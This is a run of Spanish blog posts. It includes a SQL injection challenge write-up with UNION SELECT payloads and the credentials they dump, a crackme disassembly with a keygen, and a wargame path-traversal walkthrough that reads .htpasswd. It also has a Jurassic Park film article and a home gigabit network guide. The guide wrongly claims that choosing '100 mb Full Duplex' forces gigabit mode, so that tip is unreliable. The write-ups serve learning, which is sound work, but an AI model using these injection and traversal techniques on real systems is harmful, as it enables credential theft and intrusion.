SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Solución al Time Trial de Detten

Intro

Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección por tiempo límite a través de un keyfile llamado «data.det«. Disponemos de tres días o nueve sesiones antes de que el crackme expire.

El algoritmo

La primera vez que ejecutamos el crackme, crea el fichero «data.det» y realiza lo siguiente:

  • Lee el fichero data.det que inicialmente tiene 10 bytes a cero y el último byte un 60(`).
  • Comprueba que tenga 11 bytes (B) y continúa.
  • Al detectar el fichero vacío le mete valores codificandolos con XOR 6969. Los almacena en memoria 4030AB y siguientes.
00401000 t>/$  6A 00               PUSH 0                                    ; /pModule = NULL
00401002   |.  E8 0B020000         CALL <JMP.&KERNEL32.GetModuleHandleA>     ; \GetModuleHandleA
00401007   |.  A3 F4304000         MOV DWORD PTR DS:[4030F4],EAX             ;  kernel32.BaseThreadInitThunk
0040100C   |.  6A 00               PUSH 0                                    ; /hTemplateFile = NULL
0040100E   |.  68 80000000         PUSH 80                                   ; |Attributes = NORMAL
00401013   |.  6A 03               PUSH 3                                    ; |Mode = OPEN_EXISTING
00401015   |.  6A 00               PUSH 0                                    ; |pSecurity = NULL
00401017   |.  6A 00               PUSH 0                                    ; |ShareMode = 0
00401019   |.  68 000000C0         PUSH C0000000                             ; |Access = GENERIC_READ|GENERIC_WRITE
0040101E   |.  68 A2304000         PUSH timetria.004030A2                    ; |FileName = "DATA.DET"
00401023   |.  E8 DE010000         CALL <JMP.&KERNEL32.CreateFileA>          ; \CreateFileA
00401028   |.  83F8 FF             CMP EAX,-1
0040102B   |.  74 07               JE SHORT timetria.00401034
0040102D   |.  A3 14314000         MOV DWORD PTR DS:[403114],EAX             ;  kernel32.BaseThreadInitThunk
00401032   |.  EB 18               JMP SHORT timetria.0040104C
00401034   |>  6A 30               PUSH 30                                   ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
00401036   |.  68 38304000         PUSH timetria.00403038                    ; |Title = "I don't like this !"
0040103B   |.  68 02304000         PUSH timetria.00403002                    ; |Text = "Where is my DATA.DET file?\r\nI can't run without it..."
00401040   |.  6A 00               PUSH 0                                    ; |hOwner = NULL
00401042   |.  E8 B3010000         CALL <JMP.&USER32.MessageBoxA>            ; \MessageBoxA
00401047   |.  E9 22010000         JMP timetria.0040116E
0040104C   |>  6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040104E   |.  68 E0304000         PUSH timetria.004030E0                    ; |pBytesRead = timetria.004030E0
00401053   |.  6A 32               PUSH 32                                   ; |BytesToRead = 32 (50.)
00401055   |.  68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040105A   |.  FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = NULL
00401060   |.  E8 B9010000         CALL <JMP.&KERNEL32.ReadFile>             ; \ReadFile
00401065   |.  833D E0304000 0B    CMP DWORD PTR DS:[4030E0],0B
0040106C   |.  0F85 E9000000       JNZ timetria.0040115B
00401072   |.  BB AB304000         MOV EBX,timetria.004030AB
00401077   |.  68 E4304000         PUSH timetria.004030E4                    ; /pSystemTime = timetria.004030E4
0040107C   |.  E8 97010000         CALL <JMP.&KERNEL32.GetSystemTime>        ; \GetSystemTime
00401081   |.  803B 00             CMP BYTE PTR DS:[EBX],0
00401084   |.  75 22               JNZ SHORT timetria.004010A8               ;  Si existe el fichero salta a las comprobaciones
00401086   |.  51                  PUSH ECX
00401087   |.  33C9                XOR ECX,ECX
00401089   |.  EB 15               JMP SHORT timetria.004010A0
0040108B   |>  66:8B81 E4304000    /MOV AX,WORD PTR DS:[ECX+4030E4]          ;  |
00401092   |.  66:35 6969          |XOR AX,6969                              ;  |
00401096   |.  66:8981 AB304000    |MOV WORD PTR DS:[ECX+4030AB],AX          ;  |
0040109D   |.  83C1 02             |ADD ECX,2                                ;  | Bucle de codificacion de data.det por primera vez
004010A0   |>  83F9 08              CMP ECX,8                                ;  |
004010A3   |.^ 76 E6               \JBE SHORT timetria.0040108B              ;  |
004010A5   |.  59                  POP ECX                                   ;  kernel32.7580EE1C
004010A6   |.  EB 3A               JMP SHORT timetria.004010E2

 

Vigilando el proceso de creación del archivo podemos llegar a la conclusión de como se genera.

  • Los dos primeros bytes son el año = 2014 = 0x7DE. 7DE XOR 6969 = 6EB7.
  • Los dos siguientes son el mes = 10 = 0xA. A XOR 6969 = 6963.
  • Los dos siguientes usa un 4 (día de la semana???) = 0x4. 4 XOR 6969 = 696D.
  • Los dos siguientes son el día del mes = 2 = 0x2. 2 XOR 6969 = 696B
  • Los dos siguientes usa un 1 = 0x1. 1 XOR 6969 = 6968.
  • El número de sesiones lo deja como está, 60.

Estado de la memoria:

004030AB  B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`
  •  Finalmente le resta 1 al número de sesiones y guarda el fichero.
004010E2   |> \A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]
004010E7   |.  34 69               XOR AL,69
004010E9   |.  3C 00               CMP AL,0
004010EB   |. /74 59               JE SHORT timetria.00401146
004010ED   |. |FEC8                DEC AL
004010EF   |. |A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |. |34 69               XOR AL,69
004010F6   |. |A2 B5304000         MOV BYTE PTR DS:[4030B5],AL
004010FB   |. |6A 00               PUSH 0                                    ; /Origin = FILE_BEGIN
004010FD   |. |6A 00               PUSH 0                                    ; |pOffsetHi = NULL
004010FF   |. |6A 00               PUSH 0                                    ; |OffsetLo = 0
00401101   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401107   |. |E8 18010000         CALL <JMP.&KERNEL32.SetFilePointer>       ; \SetFilePointer
0040110C   |. |6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040110E   |. |68 E0304000         PUSH timetria.004030E0                    ; |pBytesWritten = timetria.004030E0
00401113   |. |6A 0B               PUSH 0B                                   ; |nBytesToWrite = B (11.)
00401115   |. |68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040111A   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401120   |. |E8 05010000         CALL <JMP.&KERNEL32.WriteFile>            ; \WriteFile

En cada ejecución realiza tres comprobaciones.
Recordemos el contenido del fichero:

B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`

1) Mes y año (4 primeros bytes)

004010A8   |> \8B0D AB304000       MOV ECX,DWORD PTR DS:[4030AB] ; ECX=69636EB7
004010AE   |.  81F1 69696969       XOR ECX,69696969              ; 69636EB7 xor 69696969 = A07DE (A = mes y 7DE = año)
004010B4   |.  A1 E4304000         MOV EAX,DWORD PTR DS:[4030E4]
004010B9   |.  3BC1                CMP EAX,ECX                   ; Compara con mes y año actuales
004010BB   |.  0F85 85000000       JNZ timetria.00401146         ; Bad boy

2) Día (7º y 8º byte)

004010C1   |.  66:8B0D B1304000    MOV CX,WORD PTR DS:[4030B1]   ; CX = 696B
004010C8   |.  66:81F1 6969        XOR CX,6969                   ; 696B xor 6969 = 2
004010CD   |.  66:A1 EA304000      MOV AX,WORD PTR DS:[4030EA]   ; AX = día actual obtenido con GetSystemTime
004010D3   |.  66:2BC1             SUB AX,CX                     ; Los resta
004010D6   |.  66:83F8 03          CMP AX,3                      ; Compara con 3
004010DA   |.  77 6A               JA SHORT timetria.00401146    ; Si el resultado >=3 Bad Boy

3) Sesiones (11º byte)

004010DC   |.  2805 00304000       SUB BYTE PTR DS:[403000],AL   ;
004010E2   |>  A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]   ; AL = numero de sesiones actual
004010E7   |.  34 69               XOR AL,69                     ; 61 Xor 69 = 8
004010E9   |.  3C 00               CMP AL,0                      ; Compara con 0
004010EB   |.  74 59               JE SHORT timetria.00401146    ; Salta si hemos superado las 9 sesiones. Bad boy
004010ED   |.  FEC8                DEC AL                        ; Si no le resta 1
004010EF   |.  A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |.  34 69               XOR AL,69                     ; y le hace xor 69 para codificar el nuevo valor de sesión
004010F6   |.  A2 B5304000         MOV BYTE PTR DS:[4030B5],AL

Con esto ya podemos alterar el archivo a nuestro antojo sin necesidad de parchear.

Keygen

Try
            ano = ano Xor 26985
            mes = mes Xor 26985
            dia = dia Xor 26985
            anos = Hex(ano).ToString
            mess = Hex(mes).ToString
            dias = Hex(dia).ToString
            If txtsesiones.Text <= 255 Then
                sesioness = Hex(sesiones)
            Else
                sesiones = 255
            End If
            sesioness = Hex(sesiones)
            'key = 00 00 00 00 00 00 00 00 00 00 00
            'key = año+año+mes+mes+X+X+dia+dia+X+sesiones
            key = Chr(Convert.ToInt32(anos.Substring(2, 2), 16)) & Chr(Convert.ToInt32(anos.Substring(0, 2), 16)) _
            & Chr(Convert.ToInt32(mess.Substring(2, 2), 16)) & Chr(Convert.ToInt32(mess.Substring(0, 2), 16)) _
            & Chr(106) & Chr(105) _
            & Chr(Convert.ToInt32(dias.Substring(2, 2), 16)) & Chr(Convert.ToInt32(dias.Substring(0, 2), 16)) _
            & Chr(103) & Chr(105) _
            & Chr(Convert.ToInt32(sesioness.Substring(0, 2), 16))
            'Creo el archivo llave
            Dim ruta As String = Application.StartupPath & "\DATA.DET"
            If File.Exists(ruta) Then
                File.Delete(ruta)
            End If
            Using sw As StreamWriter = New StreamWriter(ruta, True, System.Text.Encoding.Default)
                sw.Write(key)
                sw.Close()
            End Using
            MsgBox("DATA.DET generado correctamente", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Info")
        Catch ex As Exception
            MsgBox("Ocurrió algún error" & vbCrLf & ex.Message)
        End Try

 Links


Aquí os dejo un video tutorial. El crackme lo podeis encontrar en crackmes.de.
En Parque Jurásico (1993), la informática no es solo un elemento narrativo, es una pieza clave del suspense y del
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Introducción A quien va dirigido Comprobaciones previas Lo que necesitamos Presupuesto Ejemplo de instalación Preguntas frecuentes Glosario Notas finales Introducción

Blooper Tech Movie XIV – Parque Jurásico

En Parque Jurásico (1993), la informática no es solo un elemento narrativo, es una pieza clave del suspense y del conflicto. A diferencia de otras películas donde las pantallas muestran interfaces ficticias o visualmente espectaculares pero irreales, Parque Jurásico opta por una aproximación sorprendentemente sobria y auténtica.

Durante bastantes escenas, se nos muestran terminales, ventanas de código y comandos que, lejos de ser decorativos, pertenecen a sistemas reales utilizados por programadores profesionales de principios de los años 90. Este detalle, que puede pasar desapercibido para el público general, resulta especialmente interesante desde un punto de vista técnico. En otras palabras, el trabajo de producción es excelente y destaca como una de las películas más respetuosas con la informática real de su época.

No es “código de película”: es software real

Uno de los puntos más interesantes es que el código que aparece en pantalla no fue escrito para la película. No hay pseudocódigo, ni pantallas diseñadas solo para quedar bonitas en cámara. Lo que se ve es software real, ejecutándose en el entorno Macintosh Programmer’s Workshop (MPW), el kit oficial de Apple para desarrolladores en aquellos años. El sistema operativo que se reconoce es un Macintosh clásico (System 7) corriendo sobre máquinas de la serie Quadra, auténticos pepinos para la época. Vamos, que cuando John Hammond decía aquello de «no hemos reparado en gastos», también iba en serio en lo informático.

«No hemos reparado en gastos»

En este punto no se le puede reprochar demasiado a la película. En líneas generales es bastante fiel a la novela, aunque la resolución del problema de seguridad se aborda de forma distinta. En el libro es el ingeniero Ray Arnold quien detecta el fallo y consigue reconducir la situación. En la película, sin embargo, el personaje desaparece cuando va a los barracones a restablecer la corriente del parque, con el resultado que todos conocemos.

Lo curioso es que muchos personajes sí cambian de forma notable con respecto al libro, el niño es mayor y más friki de los ordenadores, Ray Arnold no muere y acaba salvando la situación, o Gennaro es más atlético y bastante más valiente. Sin embargo, el gran disparate técnico permanece intacto.

En la novela se menciona de pasada a un equipo de informáticos de Cambridge que supuestamente colaboró en el diseño del software. Aun así, la puesta en marcha y la explotación del sistema recaen prácticamente en una sola persona, Dennis Nedry. Evidentemente, tanto al libro como al guion les viene de perlas que todo dependa de una única persona para que el desastre sea posible, pero cuesta aceptar que en un parque donde todo está duplicado, el control informático central dependa de una sola persona.

Curiosamente, en uno de los monitores de Nedry se puede ver una foto de Oppenheimer con la frase «Beginning of baby boom», de la que podemos sacar la conclusión de que Nedry es perfectamente consciente de que su trabajo puede tener consecuencias catastróficas e irreversibles. También es un maravilloso guiño del equipo de producción que nos está indicando exactamente donde se va originar el desastre.

Al final, Parque Jurásico no va de dinosaurios, ni siquiera de genética. Va de personas. Y, más concretamente, de personas con demasiado poder y muy pocos compañeros de equipo y poca supervisión.

Desde el punto de vista informático, la película es casi entrañable. Todo es serio, profesional y real… hasta que descubrimos que el sistema más complejo jamás construido depende, en la práctica, de un solo programador cabreado, mal pagado y con demasiadas líneas de código en la cabeza. Ningún comité de arquitectura, ninguna auditoría externa, ningún segundo par de ojos. Solo Dennis Nedry y su teclado. ¿Qué podía salir mal?

Lo curioso es que ni la película ni el libro se molestan en disimularlo demasiado. Te hablan de sistemas redundantes, de seguridad, de control absoluto… pero el corazón digital del parque es un castillo de naipes. Eso sí, un castillo de naipes programado en máquinas de primera, con software real y pantallas que hoy siguen pareciendo más creíbles que muchas producciones actuales.

Quizá por eso Parque Jurásico envejece tan bien. Porque, incluso cuando se equivoca, lo hace con honestidad. No intenta venderte magia disfrazada de tecnología. Te muestra ordenadores de verdad, código de verdad y errores muy humanos. Y al final, tanto en la novela como en la película, el mensaje es el mismo, puedes clonar dinosaurios, diseñar parques imposibles y rodearte de la mejor tecnología del mundo, que si todo depende de una sola persona, tarde o temprano, el sistema se vendrá abajo.

Y no, el problema no eran los dinosaurios, nunca lo fueron.

ThisIsLegal.com – Realistic Challenge 4

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

Realistic Challenge 4: There is a site offering protection against hackers to website owners, the service is far too overpriced and the people running the service don’t know anything about security. Look around their site, and see how protected it is.

Hay un sitio que ofrece protección contra los hackers. El servicio tiene un precio abusivo, echa un vistazo a la web y evalúa su pretección.

Analizando a la víctima

Vemos un escueto menú pero con cosas interesantes.

Pinchamos sobre «Testimonials» y a continuación en «Customer 1»

Vemos que hay solo 3 «customers», vamos a introducir manualmente un 5 haber que pasa.

Ok, nos genera el siguiente error.

Probamos ahora con un enlace interno que nos genera el siguiente error.

http://www.thisislegal.com/newr/src/read.php?customer=../orders.php

Nos llama la atención «../beqref.cuc«. Parece una encriptación simple, probemos a poner eso mismo en el navegador.

http://www.thisislegal.com/newr/src/read.php?customer=../beqref.cuc

 

Nuestras sospechas son acertadas, ahora el error muestra esto.

Explotando a la víctima

Probamos varias cosas y al final conseguimos algo relevante con «order2.php«.

http://www.thisislegal.com/newr/src/read.php?customer=../beqre2.cuc
Tenemos un directorio interesante «secure«, si entramos en el nos salta un Login típico protegido con «.htaccess«. Lo lógico a continuación es hacernos con el archivo «.htpasswd«
http://www.thisislegal.com/newr/src/read.php?customer=../frpher/.ugcnffjq

 

Una vez obtenido el contenido del archivo «.htpasswd» lo siguiente es crackear el password con John the Ripper. Nos logueamos en la carpeta secure y reto superado.

Links

Guía rápida para tener una red Gigabit en casa

Introducción

Un día cualquiera se te ocurre comprarte un disco duro de red NAS para centralizar todo tu contenido multimedia. Lo conectas y todo va genial, pero de repente vas a copiar unos cuantos gigas de fotos y te encuentras con que la operación va a tardar días. En ese mismo instante te planteas sacar el máximo provecho a tu red doméstica y la solución se llama gigabit.

A quién va dirigido

Esta guía va dirigida a todo el mundo que esté pensando en hacer o mejorar la red LAN doméstica. Si eres un amante del WIFI, olvídate de esto, ya que para conseguir altas velocidades se necesita cablear la casa. Además, de lo que trata esta guía es de que se conecte un ordenador portátil o sobremesa de la forma más rápida posible al disco duro de red.

Comprobaciones previas

Probablemente dispongas de un Modem / Router proporcionado por tu compañia y que seguramente no sea gigabit (10/100/1000), esto es lo primero que debes comprobar. Busca tu modelo en internet y cerciorate.

También necesitas que la tarjeta de red del portátil o sobremesa sean gigabit, en este caso lo más probable es que lo sean pero asegúrate.

Lo que necesitamos

Tras hacer las comprobaciones previas ya podemos hacer una lista de los materiales que necesitamos.

  • Router gigabit (en caso del que tu compañia no lo sea).

Si el nuestro no es gigabit existen soluciones económicas como el TP-Link TL-WR1043ND que lo tenemos por 44€ en pccomponentes. Os recomiendo esta tienda por rapidez, seriedad y no abusan con los gastos de envío.

tp_link_tl_wr1043nd_ultimate_router_neutro_wifi_11n_usb_4

  • Switch gigabit (para ampliar puertos)

En caso de que los cuatro puertos que vienen con el router se nos queden cortos, la solución más economica y acertada es un Switch ethernet gigabit como el TP-LINK TL-SG1005D que lo tenemos por 16€. Este dispositivo es una maravilla ya que nos brinda 4 puertos más y no requiere configuración alguna.

tp_link_tl_sg1005d_switch_5_puertos_gigabit

  • Tarjeta de red gigabit (para pc sobremesa en caso de no ser o no disponer)

Son muy económicas, las puedes encontrar por 10€-15€ en cualquier tienda especializada. Ejemplo PCI. Ejemplo PCI-e. Video instalación de una tarjeta de red.

tarjeta-de-red-tp-link-tg-3269-gigabit-pci-internet-101000-1859-MLU4520989306_062013-F

  • Bobina de cable de red Categoría 6.

100m de cable UTP categoría 6 viene a costar sobre unos 42€.

bobina_100m_cable_red_rigido_utp_cat_6_10_100_1000

  • Cables Cat6 interconexionado router / switch / pc.

Para interconexionado de equipos recomiento estos de 50cm por 1,5€. Para conexión del pc tienes otras larguras más apropiadas. También podéis haceros vosotros los cables con lo sobrante de la bobina, para ello necesitaréis una crimpadora y terminales rj45.

digitus_cable_de_red_rj45_cat_6_10_100_1000_gris__50cm_

  • Tomas RJ45 categoría 6.

Esto depende de tu instalación y la gama que elijas. En mi caso utilizo tomas Niessen que solo el conector vale 16€, pero tienes tomas más económicas. De superficie por 2,75€ y empotrable por 8,25€.

roseta_de_superficie_cat6_conector_red_hembra_rj45 roseta_empotrable_cat5e_2_conectores_red_45__hembra_rj_45

  • Insertadora (punch down) para las tomas RJ45.

Indispensable para conectar internamente los cables de las tomas. La tenéis por 11€ en ebay. Video de la insertadora en acción.

PCS058007_large

  • Disco duro de red NAS

Esto es una recomendación personal ya que la elección puede variar en función de las necesidades de almacenamiento y conexiones. Una solución barata y con espacio suficiente para uso doméstico es el disco WD My Cloud 3TB que lo podeis adquirir por 159€.

wd_my_cloud_4tb

Presupuesto (Precios Octubre 2014)

  • Router = 44€
  • Switch = 16€
  • Tarjeta de red = 15€
  • Bobina de cable = 42€
  • Cables interconexionado 50cm x4 = 6€
  • Cable conexión pc / switch o router 1,8m = 2,95€
  • Tomas RJ45 x 2 = 16,5€
  • Disco duro de red NAS = 159€
  • TOTAL = 345,45€ + gastos de envío.

Esto puede variar en función de los componentes que elijas comprar pero el coste oscilará entre 250 y 350€, algo bastante asequible para centralizar contenido multimedia. Digo asequible por que la mitad del presupuesto se lo lleva el disco de red, los componentes son más bien baratos.

Ejemplo de instalación

Esquema inicial

En mi esquema disponemos del router proporcionado por el proveedor de internet que en mi caso sí es gigabit pero que solo lo utilizo para dar internet al router neutro.El router neutro junto con el switch me proporcionan 8 puertos gigabit. El router neutro además gestiona el wifi de la casa, pero en el mejor de los casos (Wifi n) estos dispositivos solo podrán mover datos a 300mbps. Utilizo como media center mis amadas Raspberry Pi que en este caso no se benefician de la velocidad ya que disponen de conexión 10/100.

esquema

Configurar router neutro

Lo primero a conectar es el router neutro y en este caso, TP-Link te lo pone fácil si no te defiendes muy bien con las redes, ya que proporciona un CD que se encarga de guiarte paso a paso. Lo más importante es la asignación de la IP privada, por defecto es 192.168.2.1 y a no ser que el router de la compañia tenga esa misma IP lo podéis dejar como está.

Disco duro de red NAS

Para configurar el disco de red normalmente viene un CD para ayudar al usuario novel. Lo único que tenéis que tener en cuenta es que la IP debe estar en consonancia con la del router neutro, si el router neutro es 192.168.2.1 al disco NAS podéis asignarle 192.168.2.150. Para más información aquí tenéis la guía de instalación.

Preguntas frecuentes. FAQ

  • ¿El cable normal o cruzado?

Podéis usar cable normal, también llamado conexión Pin a Pin ó 1:1, para toda la instalación ya que los dispositivos de hoy en día aceptan cualquier cable y resuelven internamente en función del cable conectado. Pero si nos ponemos quisquillosos, para conectar elementos pasivos entre sí (router a switch, etc) se utiliza cable normal 1:1. Para conectar elementos activos (PC a router/switch) cable cruzado.

  • ¿Qué norma de colores uso?

Mi consejo es que uses el standard EIA/TIA 568B tanto en la conexión de las cajas como en la creación de los cables.

image002

Cada roseta o toma en su interior tiene definido el orden que debes seguir para conectar los cables según el standard A o B, esto es una aproximación y puede no coincidir con tu toma.

con_roseta

  • Tengo todo instalado y es categoría 6 pero mi pc me marca que me conecta a 100mbps ¿qué pasa?

Si estás seguro de que las rosetas están bien conectadas, que has usado los cables correctos, que todos los dispositivos son gigabit y tu pc hace de las suyas, quizás debas de forzar a tu tarjeta de red a trabajar en modo gigabit ó 100 full duplex ó 100FD. Esto es debido a que el driver de la tarjeta de red por defecto viene con la opción de «autonegociación» activada y a veces necesita que le «obligues» a trabajar en gigabit.

En cada tarjeta de red puede venir diferente, yo os muestro mi caso desde windows 7:

Diríjete a Inicio > Panel de control > Ver el estado y las tareas de red > conexión de area local

En mi caso marca 1 Gbps pero si estais teniendo problemas os marcará 100 mbps. A continuación pulsa Propiedades.

31-10-2014 21-47-55

Pulsa Configurar.

31-10-2014 21-49-19

En la pestaña Opciones avanzadas busca la opción de la velocidad, en mi caso «Speed/duplex settings» y selecciona 100 mb Full Duplex. De este modo le forzais a la tarjeta de red a trabajar en modo gigabit. Si no lo consiguiera trabajará en el modo que pueda pero no os dejará sin conexión.

31-10-2014 21-50-31

Glosario

  1. NAS – del inglés Network Attached Storage, es el nombre dado a una tecnología de almacenamiento dedicada a compartir la capacidad de almacenamiento a través de una red. Estos discos vienen equipados como mínimo con una conexión RJ45 para integrarlo en una red de forma rápida y sencilla.
  2. Full Duplex – Que transmite y recibe en ambas direcciones al mismo tiempo por cables independientes.
  3. Switch – Un conmutador o switch es un dispositivo digital lógico de interconexión de equipos que opera en la capa de enlace de datos del modelo OSI. Su función es interconectar dos o más segmentos de red, de manera similar a los puentes de red, pasando datos de un segmento a otro de acuerdo con la dirección MAC de destino de las tramas en la red.
  4. Gigabit Ethernet – también conocida como GigaE, es una ampliación del estándar Ethernet (concretamente la versión 802.3ab y 802.3z del IEEE) que consigue una capacidad de transmisión de 1 gigabit por segundo, correspondientes a unos 1000 megabits por segundo de rendimiento contra unos 100 de Fast Ethernet (También llamado 100BASE-TX).

Notas finales

Soy consciente de que me he dejado muchas cosas en el tintero pero mi pretensión es que el lector de un vistazo rápido tenga una idea clara de lo que necesita para lograr una red decente en casa.